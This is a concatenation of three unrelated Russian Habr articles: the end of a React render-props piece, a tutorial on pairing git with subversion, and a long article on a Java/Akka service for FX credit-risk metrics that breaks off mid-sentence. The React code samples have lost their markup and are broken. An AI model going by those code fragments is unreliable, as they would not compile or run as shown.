Должен честно сказать, что это приложение-пример — добавка к материалу, которую я сделал после публикации с подачи [Эндрю Кларка](https://medium.com/@acdlite). Так может показаться, что я точно знаю, когда надо поддерживать ссылочную целостность, а когда — нет.
### ▍Свойство render
```
(
{match.params.id}
=================
}
)
/>
```
Свойства `render —` это шаблон, используемый для создания компонента, который существует для создания и поддержания разделяемого состояния ([тут об этом можно почтить подробнее](https://cdb.reacttraining.com/use-a-render-prop-50de598f11ce)). Содержимое свойства `render` неизвестно компоненту. Например:
```
const App = (props) => (
Welcome, {props.name}
=====================
(
{/\*
props.name находится за пределами Route и оно не передаётся
как свойство, поэтому Route не соответствует
идеологии PureComponent, у него
нет сведений о том, что здесь появится после рендеринга.
\*/}
Hey, {props.name}, let’s get started!
=====================================
)}/>
)
```
Это означает, что встроенная функция свойства `render` не приведёт к проблемам с `shouldComponentUpdate`. Компонент недостаточно информирован для того, чтобы его можно было бы преобразовать в `PureComponent`.
Итак, опять же, доказательств медленности свойств `render` у нас нет. Всё остальное — мысленные эксперименты, не имеющие отношения к реальности.
Итоги
-----
1. Пишите код так, как привыкли, реализуя в нём ваши идеи.
2. Проводите замеры производительности для того, чтобы находить узкие места. [Здесь](https://reactjs.org/blog/2016/11/16/react-v15.4.0.html#profiling-components-with-chrome-timeline) можно узнать о том, как это сделать.
3. Используйте `PureComponent` и `shouldComponentUpdate` только при необходимости, пропуская функции, являющиеся свойствами компонента (только если они не используются в перехватчиках событий жизненного цикла для достижения побочных эффектов).
В заключение хочу сказать, что если вы относитесь к противникам преждевременной оптимизации, значит вам не нужно доказательств того, что встроенные функции ухудшают производительность. Вам, для того, чтобы задуматься об их оптимизации, нужны доказательства обратного.
Уважаемые читатели! Как вы оптимизируете React-приложения? | https://habr.com/ru/post/340034/ | null | ru | null |
# GIT для пользователей subversion (и др scm)
Git это еще одна системы для управления исходным кодом, аналогичная subversion, cvs и другим. Почему аналогичная, а не «новая», «быстрая» и тп? SCM (source code management) прежде всего инструмент, который позволяет выполнять операции необходимые для одного разработчика и команды в целом. При каждый инструмент имеет свои достоинства и недостатки.
В этой статье мы сосредоточимся на основных функциях, без сравнительного анализа (чтобы не повторять миллионы заметок в web). И покажем пример, как применять git при работе с subversion.
Основные функции которые нам необходимы: просмотр истории изменений, откат на любую точку, возможность создавать ветвление кода. Subversion (cvs) реализуют все эти требования, и многие разработчики ими пользуются ежедневно. Запуск этих команд приводит к выполнению алгоритмов на стороне сервера, что позволяет другим разработчикам видеть наши изменения. В этом подходе есть небольшая проблема: разработчик может захотеть сделать коммит промежуточной работы, без того что бы делить результаты с командой. Кроме этого, разработчик может захотеть сделать ветвь проекта для проверки идеи — итог тоже будет доступен всем.
Если в команде несколько человек, и каждый делает ветвь для каждой идеи то скоро мы получим сотни абсолютно бесполезных данных. Как итог этого, в командах существуют политики, когда и ка создавать ветки.
При этом инструмент ветвления по прежнему хорош и не стоит от него отказываться.
Как следствие стоит выбрать scm систему с поддержкой подобной функциональности. Эти системы по прежнему реализовывают теже команды, но при этом каждому разработчику дается собственный локальный репозиторий. При этом проект будет состоять из нескольких, распределенных репозиториев.
В этой статье мы не будем рассматривать процесс распределенной разработки.
#### Пользуемся subversion
Каждое утро вы выполняете '*svn update*' для синхронизации локальной рабочей копии с центральным репозиторием. Потом получаете задачу через трекер и начинаете размышлять. Предположим, у вас есть два варианта решения проблемы и вам надо попробовать оба для выбора оптимального.
После кодирования первого варианта и тестирования вы получаете некоторые результаты. Теперь нужно попробовать второй путь. Тут возникает проблема, что делать с уже существующими изменениями? Сделать коммит мы не можем, так как решение не готово. Можно их закомментировать, сделать копию файлов на диске и тп, но в любом случае, это не очень удобно. В идеале было бы удобно иметь обе версии, и сделать коммит только для выбранного решения.
Тут и выходит на сцену git. Причем вы можете использовать его прозрачно для других участников команды.
#### Добавляем немного Git'а.
Для определенности будем держать наш проект в папке: ACME. Т.е. это рабочая копия с вашего subversion и она содержит папку .svn (.svn есть и во всех подпапках проекта).
'*svn status*' покажет текущее состояние.
Прежде всего нам надо сделать инициализацию. В ACME запустите:
`git init`
Это создаст локальный git репозиторий, который живет в папке .git. Обратите внимание — .git есть только в верхней папке проекта.
Запустите:
`git status`
Вы увидите, что все файлы отмеченны, как untracked. До добавления файлов исключим .svn
Откройте *.git/info/exclude* и добавьте: '*.svn\**'. Теперь git status не будет реагировать на .svn.
Добавьте весь проект в git:
`git add .
git commit -am "initial file import"`
В свою очередь *svn status* покажет папку .git. Так как она нам не нужна, игнорируем ее:
`svn propset svn:ignore .git .`
Теперь файлы проекта находятся в обоих системах: subversion и git. С точки зрения subversion процесс работы не изменился: вы используете update, commit и так далее.
Предположим у вас появилась идея для проверки, посмотрим как git нам поможет…
Запустите *git status* для проверки что состояние проекта updated. Если есть измененные или новые файлы (как результат *svn update*) просто добавьте их и сделайте *git commit*. Обратите внимание, вы находитесь в ветке master.
Можно создавать ветвь для вашей идеи.
`git branch idea
git checkout idea`
или
`git checkout -b idea`
*git status* покажет, что вы в новой ветке. *git branch* покажет все ветки.
Вы можете делать все изменения, делать коммиты, тесты и тп. В любой момент вы можете перейти в переведущую ветвь
`git checkout master`
и обратно
`git checkout idea`
Работая с веткой идеи вы можете создавать дополнительные ветки…
После внесения всех изменений и проверок было бы не плохо вернуть изменения в subversion. Во первых, вы можете запустить *svn status* для просмотра изменений и сделать `svn commit`. Это простейший путь, но я рекомендую сделать дополнительные шаги.
Мы сделаем ветку master зеркалом для subversion: т.е. *svn update* и *svn commit* мы будем запускать только будучи в master.
Как следствие, нам надо перенести изменения в master:
`git checkout master
git merge idea`
Так как мы не вносили изменений в master, то система сделает простой merge forward и мы сможем сделать коммит в svn.
Ненужную ветвь можно удалить:
`git branch -d idea`
Если вы что то напутали, всегда можно удалить .git и сделать init заново.
#### Вывод
В общем, git это практически идеальный инструмент для проверки идей, добавления новой функциональности и фиксинга багов. В качестве best practice рекомендуется создавать ветвь для каждого не косметического изменения. В продолжении стоит прочитать о командах: checkout, add, branch и merge.
Andrew Romanenco
andrew@romanenco.com
[www.romanenco.com/gitsvn](http://www.romanenco.com/gitsvn) | https://habr.com/ru/post/62557/ | null | ru | null |
# Финансовое latency critical приложение на Java и Akka
Всем привет! В своей статье я поделюсь опытом разработки одного из финансовых приложений на Java в ТехЦентре Дойче Банка, расскажу про стек технологий, который мы используем, и каких результатов достигаем.
---
### Предметная область
Наш проект разрабатывается для рынка электронного обмена валют. Большинство людей знакомо с обменниками валют: у нас есть российские рубли, мы планируем ~~(планировали?)~~ поехать в отпуск и хотим заранее обменять рубли на местную валюту, например, доллары или евро. Для этого мы берем пачку денег с рублями, идем в обменник, который предложит наиболее выгодный курс обмена, и, собственно, меняем рубли на иностранную валюту по курсу, который они нам предлагают (или то же самое проделываем через интернет в онлайн обменниках). Просто и удобно… для обычных обывателей.
Для компаний, которые работают на международном рынке, такая схема не очень удобна. Например, компания X разрабатывает и производит продукт в Японии, но продает свою продукцию в Европе, т. е. деньги приходят в евро, а расплачиваться с сотрудниками нужно в йенах. Конечно же, компания Х может здесь и сейчас обменять евро на йены по текущему рыночному курсу. Но, во-первых, это не удобно, во-вторых, слишком рискованно. Курс на момент поступления наличности может сильно меняться, как в плюс, так и в минус. Компании X намного удобнее заранее знать курс, по которому она сможет обменять евро на йены, например, через месяц. Тогда компания сможет прогнозировать расходы и доходы более точно и на более долгий промежуток времени.
Инвестбанки как раз и предоставляют специальные инструменты, которые позволяют заключать контракты на обмен валют в будущем по уже известному зафиксированному курсу. Такие контракты называются форвардными. И в отличие от обмена одной валюты на другую по рыночному курсу здесь и сейчас, форвардные контракты несут под собой риски для банка. Например, если фактический курс значительно уйдет в сторону от курса, который был зафиксирован в контракте, то банк может понести значительные убытки. Метрика, которая учитывает такие риски, называется [Potential Future Exposure (PFE)](https://en.wikipedia.org/wiki/Potential_future_exposure). Есть еще [Credit Valuation Adjustment (CVA)](https://en.wikipedia.org/wiki/Credit_valuation_adjustment), которая учитывает вероятность банкротства клиента на момент исполнения контракта, или [Capital Valuation Adjustment (KVA)](https://www.risk.net/definition/capital-valuation-adjustment-kva), учитывающая стоимость капитала, который банк должен будет зарезервировать, если клиент заключит сделку.
Так вот, банк перед заключением форвардных контрактов должен сначала посчитать кредитные метрики и заложить, если нужно, поправки в цену для клиента или же запретить сделку вообще.
Наш проект как раз и занимается расчетом кредитных метрик для FX рынка.
### Что было до нас
Наш проект — это не первое воплощение расчетов кредитных метрик в банке. До нас уже был прототип, реализованный внутри другой платформы. Эта система изначально предназначалась для больших расчетов в конце дня и, как результат, плохо справлялась с расчетами в реальном времени.
Latency на обслуживание одного запроса была около 600 ms. Причинами тому были:
* Использование разнообразных фреймворков, без учета деталей их функционирования.
* Частое взаимодействие с внешними источниками данных.
* Как следствие, allocation rate – 500 MB/sec.
Новый же сервис должен был обслуживать запросы клиентов за 10 ms или быстрее и обеспечивать высокую надежность и доступность для пользователей, так как отказы в обслуживании могут привести к финансовым потерям банка.
### Что у нас в продакшене сейчас
После того, как мы запустили новый сервис в продакшене и обкатали его в течение нескольких лет, мы имеем:
* Latency 4 ms на request-response.
* Allocation rate – 10 MB/sec.
* Размер хипа одного процесса – 20 GB.
* Рассчитываем 6 разных вариантов метрик для одного запроса.
* Типичная нагрузка на один процесс – 50 req/sec.
Основной стек это:
* Java 11 на OpenJDK.
* G1 для сборки мусора.
* Spring 4 (планируем перейти на 5-й).
* gRPC + protobuf для взаимодействия с клиентами.
* Log4j2 для логирования.
И ключевая концепция, которая помогает нам показывать хорошую производительность и выпускать качественный код, – это модель акторов и фреймворк [Akka](https://akka.io/), который её имплементирует.
### Что мы считаем
Если представить наши расчеты в общем виде, то они выглядят так:
На входе есть набор матриц размером 60x1000 элементов с типом double. Каждая матрица представляет собой параметры расчета. Например, одна из матриц – это 1000 вариантов симуляций курса одной из валют на 60 различных дат в будущем. Остальные матрицы — это также симуляции, которые приходят к нам как статические данные в начале дня и зависят от типа метрики, которую мы считаем.
Далее набор матриц по определенным правилам в зависимости от типа метрики «схлопывается» в одну матрицу, дальше матрица приводится к вектору, и вектор – к одному числу, в случае если мы считаем метрики CVA или KVA. Для PFE на выходе будет вектор из чисел.
На самом деле для одной метрики выполняется два расчета. Когда мы считаем риски, мы еще не знаем, хочет ли клиент купить или продать валюту, т. е. мы должны посчитать метрики для двух случаев – покупки и продажи.
### Расчетное ядро
Если расчеты представить в виде кода, то основное расчетное ядро будет выглядеть очень просто:
```
for (int i = 0; i < 60; i++)
for (int j = 0; j < 1000; j++)
…
```
Основной цикл по 60-ти датам и вложенный цикл через 1000 симуляций. А внутри циклов выполняются расчеты, которые зависят от типа метрики.
Если запустить такой расчет для одной из наших метрик в один поток, то время выполнения будет 1,5 ms.
Задача нашего сервиса:
* имплементировать расчетные ядра для различных метрик;
* предоставить клиентский интерфейс к расчетному ядру и организовать механизм клиентских подписок;
* организовать сбор статических данных для расчетов;
* обеспечить перерасчет метрик и нотификацию клиентов в случае изменения статических данных.
И основные нефункциональные требования:
* latency на стороне клиента меньше 10 ms на один запрос;
* надежность и стабильность сервиса.
### Взаимодействие компонентов внутри сервиса
Предположим, у нас есть модули, отвечающие за:
* обслуживание клиентских подписок;
* обор и подготовку статических данных;
* расчеты кредитных метрик.
Наиболее простой и прямолинейный метод организации взаимодействия компонентов внутри сервиса — это синхронный подход. При таком подходе последовательность действий будет следующая:
1. В сервис приходит клиентская подписка.
2. На отдельную подписку создается отдельный программный поток, который будет её обслуживать.
3. Внутри потока вызываются методы из модуля, отвечающего за статику, и подготавливается контекст для расчетов.
4. Созданный контекст внутри того же потока передается в модуль с расчетами и выполняется расчет одной метрики.
5. Повторяем п.4 для каждой метрики.
Как я уже писал, нам нужно посчитать в среднем 6 метрик, т. е. при подходе один поток – одна подписка, время между запросом и ответом будет 6 \* 1,5 ms = 9 ms, но это без учета сетевого latency (которое у нас будет 2 ms) и накладных расходов на взаимодействие компонентов и сбор статики. Очевидно, что такой подход не позволит нам уложиться в заданные 10 ms.
Как вариант оптимизации, расчеты разных метрик можно выполнять в разных потоках. 6 метрик – 6 потоков. Тогда, если у нас всего одна подписка, мы сможем выполнить все расчеты за 1,5 ms и уложиться в заданные критерии по latency. Еще, например, можно распараллелить сам расчет при помощи ForkJoinPool (мы, кстати, так и делаем). Но что будет, если в систему придет одновременно 50 клиентов? Можно подбирать разные наборы потоков для разных целей до бесконечности, но лучше сразу заложить в архитектуру асинхронную модель взаимодействий.
При асинхронном подходе:
* Компоненты при обращении друг к другу после вызова метода не дожидаются результата, а продолжают выполнение других задач.
* Когда результат готов, один компонент нотифицирует другой о готовности результата.
* Результат обрабатывается в вызывающем модуле.
Особенность такого подхода в том, что мы можем выделять разные пулы потоков, которые будут обслуживать разные модули. Например, на подготовку статики мы можем выделить 5 потоков, на обслуживание подписок 10 потоков, на расчеты 12, т. е. можем сконфигурировать систему так, чтобы ресурсы сервера использовались наиболее эффективно. Проблема кроется в том, как имплементировать такую модель на практике.
Её можно имплементировать, используя только стандартные механизмы Java, например, CompletableFuture с параметром executor для вызываемых методов, в котором будем передавать пул потоков и на котором должна быть выполнена задача.
Существенный недостаток такого подхода в том, что бизнес-логика приложения будет перемешана с логикой управления потоками и сопровождение такого кода может превратиться в большую проблему.
Как альтернативу можно использовать, например, реактивный подход, где взаимодействие компонентов будет выглядеть чуть более аккуратно. Но лично мне не очень нравится читабельность реактивного кода.
Мы же в своем проекте выбрали модель акторов, которая сочетает в себе преимущества асинхронного подхода в плане производительности, масштабирования, лучшей утилизации ресурсов, но при этом позволяет отделить бизнес-логику от логики управления потоками.
Давайте посмотрим, что из себя представляет актор.
### Модель акторов
Один актор представляет собой один независимый кусочек бизнес-логики, как, например, класс в объектно-ориентированном подходе, но вместо того, чтобы предоставлять другим компонентам системы публичный интерфейс, актор декларирует набор сообщений, который он может принимать на вход и сообщения, которые он посылает на выходе.
На приведенном рисунке изображен актор для выполнения расчетов – CalculationActor. Такой актор принимает на вход сообщения типа CalculationMessage, которые содержат в себе всю необходимую информацию для расчетов. В ответ CalculationActor посылает ResultMessage с результатами расчетов.
Актор принимает сообщения асинхронно, т. е. один актор посылает другому сообщение, но после отправки исходящего сообщения не блокируется и может в ожидании результата выполнять обработку других входящих сообщений. Как только результат готов и пришел в очередь входящих сообщений, актор принимается за обработку результата и подготавливает сообщение для актора, который пошлет ответ клиенту.
Такая, казалось бы, простая концепция позволяет выстраивать достаточно сложные системы:
Так в упрощенном виде выглядят компоненты нашей системы. Есть SubscriptionsActor, который отвечает за прием входящих соединений. Есть SubscriptionActor’ы, обслуживающие подписки. SubscriptionActor’ы собирают данные из StaticDataActor. Когда данные для расчетов готовы, отправляются сообщения в CalculationActor’ы.
Концепцией акторов мы описываем всю систему (или её части), разбиваем на независимые бизнес-блоки, описываем интерфейс взаимодействия между акторами, но здесь важно то, что мы нигде не говорим о том, в каких потоках какие акторы будут выполняться, сколько потоков какие акторы будет обслуживать, какие свойства будут у потоков. Мы через акторы только разбиваем систему на отдельные компоненты.
### Akka
Если перейти к конкретной реализации модели акторов, например, фреймворку Akka, который мы используем в своем проекте, то конфигурирование пулов потоков вынесено в отдельный конфигурационный файл.
Давайте посмотрим, что скрыто за актором:
У актора есть пул потоков (а у пула потоков – набор акторов), который его обслуживает, и mailbox – ящик для входящих сообщений. По сути, это очередь, например, ConcurrentLinkedQueue. Когда в mailbox приходит сообщение, свободный поток в пуле достает одно сообщение из mailbox и выполняет код по его обработке внутри актора.
Предположим, что актор 1 обслуживается пулом потоков 1, а актор 2 – пулом потоков 2:
Если актор 1 хочет послать сообщение актору 2, то актор 1 вызывает метод tell у актора 2 на одном из потоков из пула 1. Когда в пуле потоков 2 появляется свободный поток, то он достает сообщение из mailbox и выполняет его обработку внутри актора 2.
В отдельном конфигурационном файле мы задаем размеры и характеристики пулов потоков, задаем акторы, которые они обслуживают, конфигурируем количество акторов одного типа и др.
Такое разделение бизнес-логики от логики управления потоками позволяет строить очень гибкие и масштабируемые системы. И это очень важно для проекта, который активно развивается.
У Akka достаточно хорошая документация. Для быстрого старта про создание и запуск акторов можно почитать, например, [здесь](https://doc.akka.io/docs/akka/current/typed/guide/tutorial_2.html), а про конфигурирование пулов потоков (или в терминах Akka – Dispatcher) [здесь](https://doc.akka.io/docs/akka/current/typed/dispatchers.html). Но, к сожалению, найти работающие готовые примеры не так просто, поэтому давайте посмотрим, как будет выглядеть приложение с двумя акторами на Java.
### Простое приложение с использованием Akka
```
ActorSystem system = ActorSystem.create();
ActorRef calculationActor = system.actorOf(CalculationActor.props(), "calculation-actor");
ActorRef clientActor = system.actorOf(ClientActor.props(calculationActor), "client-actor");
```
В первой строке мы создаем *ActorSystem*, которая будет управлять экосистемой акторов. Затем создаем два актора, которые будут обмениваться сообщениями. Обратите внимание на имена акторов: *calculation-actor* и *client-actor*. Далее мы будем ссылаться на них в конфигурационных файлах.
Код *CalculationActor* выглядит так:
```
public class CalculationActor extends AbstractActor {
// Используется специальный акковский логгер, но под ним можно настроить Log4j2, например
private final LoggingAdapter log = Logging.getLogger(getContext().getSystem(), this);
// Декларируем набор сообщений, которые актор может обрабатывать
@Override
public Receive createReceive() {
return receiveBuilder().match(CalculationMessage.class, msg -> onCalculate(msg, sender())).build();
}
// Метод для обработки сообщения CalculationMessage
private void onCalculate(CalculationMessage msg, ActorRef sender) {
log.info("Received CalculationMessage. Actor name: {}, Thread name: {}", self().path(), Thread.currentThread().getName());
sender.tell(new CalculationResult(), ActorRef.noSender());
}
// Специальный метод для создания актора. Здесь можно передать параметры в конструктор для CalculationActor
public static Props props() {
return Props.create(CalculationActor.class);
}
}
```
Я опустил код *ClientActor*, но он очень похож на *CalculationActor*, с разницей в том, что *ClientActor* шлет сообщения каждые 100 ms для *CalculationActor*, а *CalculationActor* отвечает сообщением *CalculationResult*. Своего рода «ping-pong» приложение.
Полный код примера доступен по [ссылке](https://github.com/tishden/akka_example/tree/master/src/main/java) на github.
Как видите, работа с акторами выглядит простой и интуитивно понятной. Давайте запустим наш код. В логе будут чередоваться два сообщения:
```
Received CalculationMessage. Actor path: akka://default/user/calculation-actor, Thread name: default-akka.actor.default-dispatcher-6
Received CalculationResult. Actor path: akka://default/user/client-actor, Thread name: default-akka.actor.default-dispatcher-5
```
*CalculationActor* принял запрос на расчет, и *ClientActor* получил сообщение с результатом.
Что здесь еще интересного? Во-первых, у каждого актора есть свой уникальный путь, по которому его можно идентифицировать, например, akka://default/user/calculation-actor. Во-вторых, имя потока на котором выполняется код актора. Для *ClientActor* – это*default-akka.actor.default-dispatcher-5*, я для *CalculationActor* – это *default-akka.actor.default-dispatcher-6*, т. е. два актора обслуживаются на двух разных потоках. Потоки берутся из дефолтного пула потоков, про его конфигурирование мы поговорим чуть позже. Кстати, новые сообщения, обрабатываемые в тех же акторах, могут быть обработаны уже на других потоках.
Давайте заглянем в стектрейс и посмотрим, какой путь проходит сообщение, прежде чем оно будет обработано в акторе:
```
onCalculate:27, CalculationActor (actors)
lambda$createReceive$0:22, CalculationActor (actors)
apply:-1, 1056141993 (actors.CalculationActor$$Lambda$165)
apply:24, UnitCaseStatement (akka.japi.pf)
apply:20, UnitCaseStatement (akka.japi.pf)
applyOrElse:187, PartialFunction (scala)
applyOrElse$:186, PartialFunction (scala)
applyOrElse:20, UnitCaseStatement (akka.japi.pf)
applyOrElse:241, PartialFunction$OrElse (scala)
aroundReceive:537, Actor (akka.actor)
aroundReceive$:535, Actor (akka.actor)
aroundReceive:220, AbstractActor (akka.actor)
receiveMessage:577, ActorCell (akka.actor)
invoke:547, ActorCell (akka.actor)
processMailbox:270, Mailbox (akka.dispatch)
run:231, Mailbox (akka.dispatch)
exec:243, Mailbox (akka.dispatch)
doExec:290, ForkJoinTask (java.util.concurrent)
topLevelExec:1020, ForkJoinPool$WorkQueue (java.util.concurrent)
scan:1656, ForkJoinPool (java.util.concurrent)
runWorker:1594, ForkJoinPool (java.util.concurrent)
run:183, ForkJoinWorkerThread (java.util.concurrent)
```
Если смотреть по стеку снизу-вверх, то мы видим, что:
* Есть *ForkJoinPool*, который отвечает за обслуживание mailbox, привязанного к актору.
* Внутри *ForkJoinTask* выбирается сообщение из mailbox.
* Минуя несколько несущественных вызовов, сообщение обрабатывается в *CalculationActor* в методе *onCalculate.*
А вот так выглядит стектрейс после вызова метода *tell*, который посылает сообщение другому актору:
```
add:283, ConcurrentLinkedQueue (java.util.concurrent)
enqueue:530, UnboundedQueueBasedMessageQueue (akka.dispatch)
enqueue$:530, UnboundedQueueBasedMessageQueue (akka.dispatch)
enqueue:656, UnboundedMailbox$MessageQueue (akka.dispatch)
enqueue:89, Mailbox (akka.dispatch)
dispatch:63, Dispatcher (akka.dispatch)
sendMessage:159, Dispatch (akka.actor.dungeon)
sendMessage$:153, Dispatch (akka.actor.dungeon)
sendMessage:410, ActorCell (akka.actor)
sendMessage:326, Cell (akka.actor)
sendMessage$:325, Cell (akka.actor)
sendMessage:410, ActorCell (akka.actor)
$bang:178, RepointableActorRef (akka.actor)
tell:128, ActorRef (akka.actor)
```
Вызов *dispatch:63, Dispatcher (akka.dispatch)*отвечает за поиск актора, которому нужно направить сообщение и выбор подходящего mailbox. А вызов *enqueue:89, Mailbox* кладет сообщение в *ConcurrentLinkedQueue*, которое потом будет обработано получателем в методе *processMailbox:270, Mailbox*.
Зачем, спросите вы, погружаться в детали вызовов внутри фреймворка? Как минимум, для того чтобы понимать, какие компоненты за что отвечают, и что нужно подкрутить, если хочется улучшить производительность.
### Два диспатчера
Давайте для начала разнесем два актора по двум разным пулам потоков.
Как я уже писал, конфигурация Akka описывается в отдельном файле, например, *actor-system-two-dispatchers.conf*:
```
client-dispatcher {
type = "Dispatcher"
executor = "fork-join-executor"
fork-join-executor {
parallelism-min = 1
parallelism-max = 1
}
}
calculation-dispatcher {
type = "Dispatcher"
executor = "fork-join-executor"
fork-join-executor {
parallelism-min = 1
parallelism-max = 1
}
}
akka.actor.deployment {
/client-actor {
dispatcher = client-dispatcher
}
/calculation-actor {
dispatcher = calculation-dispatcher
}
}
```
Диспатчер отвечает за логику обслуживания входящих сообщений, распределение их по «почтовым ящикам» и выбор потоков из пула для их обслуживания.
*client-dispatcher* будет обслуживать *ClientActor*, а *calculation-dispatcher – CalculationActor*. Оба диспатчера имеют тип *Dispatcher*. Такой диспатчер создает отдельный mailbox для каждого актора и выбирает свободный поток из пула для обслуживания входящих сообщений. Еще есть, например, *PinnedDispatcher*, который закрепляет отдельный поток за каждым актором. Подробнее можно почитать [здесь](https://doc.akka.io/docs/akka/current/typed/dispatchers.html).
Параметр *executor*, как не сложно догадаться, отвечает за тип пула потоков. Мы будем использовать *ForkJoinPool* с одним потоком для *ClientActor* и такой же для *CalculationActor*.
В секции akka.actor.deployment указываем, какие акторы на каких диспатчерах будут выполняться.
Указать акке, какой файл конфигурации использовать, можно так:
```
Config config = ConfigFactory.load("actor-system-two-dispatchers.conf");
ActorSystem system = ActorSystem.create("actor-system", config);
```
Давайте запустим пример:
```
Received CalculationMessage. Actor path: akka://actor-system/user/calculation-actor, Thread name: actor-system-calculation-dispatcher-6
Received CalculationResult. Actor path: akka://actor-system/user/client-actor, Thread name: actor-system-client-dispatcher-7
Received CalculationMessage. Actor path: akka://actor-system/user/calculation-actor, Thread name: actor-system-calculation-dispatcher-6
Received CalculationResult. Actor path: akka://actor-system/user/client-actor, Thread name: actor-system-client-dispatcher-7
```
Если посмотреть на параметр *Thread name*, то видно, что для *ClientActor* используется поток из *actor-system-client-dispatcher*, а для *CalculationActor* - из пула *actor-system-calculation-dispatcher*. Более того, потоки используются всегда одни и те же, так как мы создали *ForkJoinPool’ы* с одним потоком.
### Роутеры
А как насчет масштабирования?
Предположим, у нас может быть максимум 10 параллельных клиентов, и мы хотим, чтобы у нас было 10 CalculationActor’ов. Как нам поступить, создавать акторы динамически на каждый запрос? К счастью, Akka предоставляет более удобный механизм под названием роутеры. Настраивается роутер также через конфигурационный файл:
```
akka.actor.deployment {
/calculation-actor {
router = round-robin-pool
nr-of-instances = 10
}
/client-actor {
router = round-robin-pool
nr-of-instances = 10
}
}
```
Теперь *ClientActor* и *CalculationActor –* это [роутеры](https://doc.akka.io/docs/akka/current/typed/routers.html), т. е. для других акторов и друг для друга они выглядят как обычные акторы, но на самом деле они создают под собой по 10 реальных акторов типа *ClientActor* и *CalculationActor* и переправляют сообщения им. Код создания роутера немного [отличается](https://github.com/tishden/akka_example/blob/d135d77900261324ecfe39d19389d2d88d995e59/src/main/java/AkkaExampleWithRouter.java#L12) от обычного актора, но не существенно.
Давайте запустим пример:
```
Received CalculationMessage. Actor path: akka://actor-system/user/calculation-actor/$h, Thread name: actor-system-akka.actor.default-dispatcher-5
Received CalculationMessage. Actor path: akka://actor-system/user/calculation-actor/$b, Thread name: actor-system-akka.actor.default-dispatcher-12
Received CalculationMessage. Actor path: akka://actor-system/user/calculation-actor/$e, Thread name: actor-system-akka.actor.default-dispatcher-10
Received CalculationResult. Actor path: akka://actor-system/user/client-actor/$j, Thread name: actor-system-akka.actor.default-dispatcher-9
Received CalculationResult. Actor path: akka://actor-system/user/client-actor/$i, Thread name: actor-system-akka.actor.default-dispatcher-10
Received CalculationMessage. Actor path: akka://actor-system/user/calculation-actor/$i, Thread name: actor-system-akka.actor.default-dispatcher-9
Received CalculationMessage. Actor path: akka://actor-system/user/calculation-actor/$j, Thread name: actor-system-akka.actor.default-dispatcher-10
```
Из логов видно, что имена акторов теперь имеют вид akka://actor-system/user/calculation-actor/$h, где /calculation-actor - это имя роутера, а $h – это имя реального актора, и таких акторов по 10 для *ClientActor* и *CalculationActor*, как мы и указали в конфигурации. Но, к сожалению, акторы опять выполняются на *actor.default-dispatcher*. Для того, чтобы они выполнялись на отдельных диспатчерах, нужно немного подправить [конфигурацию](https://github.com/tishden/akka_example/blob/d135d77900261324ecfe39d19389d2d88d995e59/src/main/resources/actor-system-with-router.conf) в секции *deployment*:
```
"/client-actor/**" {
dispatcher = client-dispatcher
}
"/calculation-actor/**" {
dispatcher = calculation-dispatcher
}
```
/\*\* – означает – для всех дочерних акторов.
Если запустить пример:
```
Received CalculationMessage. Actor path: akka://actor-system/user/calculation-actor/$h, Thread name: actor-system-calculation-dispatcher-11
Received CalculationResult. Actor path: akka://actor-system/user/client-actor/$a, Thread name: actor-system-client-dispatcher-21
```
то мы увидим, что теперь сообщения обрабатываются на отдельных диспатчерах и пулах потоков.
Как вы видите, небольшим изменением в конфигурационном файле мы можем превратить один актор в множество однотипных акторов, доступных через роутер. Это очень удобно, но недостаток кроется в том, что в акторе не получится хранить состояние, и нет гарантии, что сообщения, посланные из одного *ClientActor,* попадут одному и тому же *CalculationActor*. Но в нашем примере *CalculationActor’у* это и не нужно.
### Преимущества акторов
Для себя мы видим следующие преимущества использования акторов и Akka:
* жесткое разделение бизнес-логики и логики управления потоками;
* гибкая конфигурация пулов потоков и масштабирование;
* надежность и производительность Akka;
* акторы по умолчанию thread safe, и не требуется дополнительная синхронизация потоков – обрабатывается только одно сообщение в отдельный момент времени в одном акторе, каждое входящее сообщение самодостаточно и неизменяемо;
* лучшая утилизация CPU, так как относительно небольшие куски кода выполняются на одних и тех же потоках;
* в Akka много дополнительной функциональности, например, работа с сетью, работа в кластере и др.
### Недостатки акторов и Akka
Несмотря на то, что Akka избавляет нас от проблем, связанных с многопоточностью, и обеспечивает хорошую производительность, основной недостаток такого подхода в том, что если актор должен хранить внутреннее состояние, например, когда расчет выполняется в несколько стадий, то актору нужно реагировать на входящие сообщения в зависимости от того, какие сообщения уже были обработаны. Получается своего рода машина состояний внутри актора. И если состояний много, то валидация, отладка и тестирование такой машины состояний может стать проблемой.
Второй недостаток Akka в сложности тонкой настройки. Из коробки с дефолтными параметрами до определенных пределов Akka показывает неплохую производительность, но когда растет нагрузка и хочется утилизировать ресурсы сервера «по полной», приходится погружаться во все тонкости и нюансы этого фреймворка, которые достаточно нетривиальны.
### Тонкая настройка
Как вы видели, Akka позволяет настроить тип диспатчера, пулы потоков под диспатчерами, можно сделать роутер из актора, который, кстати, тоже настраивается. Еще можно настроить [тип mailbox](https://doc.akka.io/docs/akka/current/typed/mailboxes.html).
Настроек очень много, и сходу не понятно, что подкручивать, если хочется быть чуть быстрее.
Если посмотреть в профайлер, то, скорее всего, ничего внятного он не покажет, так как Akka действительно очень производительный фреймворк, и, скорее всего, ваш код будет отсвечивать в профайлере, а не из Akka.
Чтобы все-таки иметь представление о том, помогает ли изменение конфигурации с производительностью, мы подготавливаем стенд и гоняем тесты производительности с нагрузкой, похожей на продакшен.
Первое, что можно попробовать, – это разнести акторы на разные пулы, для того чтобы они не мешали друг другу. По опыту, если разнести акторы, которые активно взаимодействуют друг с другом, то из-за перекладывания сообщений между пулами производительность немного проседает.
Второе – это непосредственно конфигурирование диспатчера и пула потоков. Еще можно задать диспатчеру тип mailbox, который будет использоваться для акторов, например, [SingleConsumerOnlyUnboundedMailbox](https://doc.akka.io/docs/akka/current/typed/mailboxes.html#mailbox-implementations), если из mailbox читает только один актор. Или можно попробовать задать разные значения для параметра *throughpu*, например, 2 или 3. Это количество сообщений, которое будет «выгребаться» из mailbox за один раз и не будет тратиться время на дополнительную синхронизацию потоков.
Третье – это попробовать подкрутить роутеры и количество инстансов акторов.
К сожалению, мы так и не вывели способ получения идеальной конфигурации для конкретного приложения и сервера. Всё, что можно сделать, - это интуитивно подкрутить параметры, а потом посмотреть, что получается под нагрузкой на стенде.
### Что еще мы используем в проекте
Как я уже писал в начале, для «обвязки» всех компонентов мы используем Spring. Акторы можно создавать как динамически, так и определять внутри Spring контекста.
Также:
